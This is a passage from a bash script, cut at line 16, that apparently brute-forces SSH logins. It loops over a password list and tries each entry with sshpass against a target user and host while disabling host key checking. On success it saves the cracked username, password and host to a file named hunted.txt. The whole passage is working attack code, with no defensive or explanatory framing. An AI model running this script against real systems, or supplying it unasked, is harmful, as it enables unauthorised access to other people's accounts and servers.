16 | if [ -f "$file_path" ]; then
17 | # Read each line of the file
18 | while IFS= read -r password; do
19 | # check if hunted.txt exists
20 | # which will mean password is cracked!
21 | if [ -f "hunted.txt" ]; then
22 | echo "===> PASSWORD ALREADY FOUND!"
23 | exit 0
24 | fi
25 | echo "===> attempting password: $password"
26 | sshpass -p $password ssh -p 22 -o StrictHostKeyChecking=no $USERNAME@$HOST ls > /dev/null
27 | if [ $? == 0 ]; then
28 | echo $USERNAME:$password@$HOST > hunted.txt
29 | echo "===> PASSWORD FOUND! CHECK hunted.txt FILE"
30 | exit 0
31 | fi
32 | done < "$file_path"
33 | else
34 | echo "===> Passwords file not found."
35 | fi
36 |
--------------------------------------------------------------------------------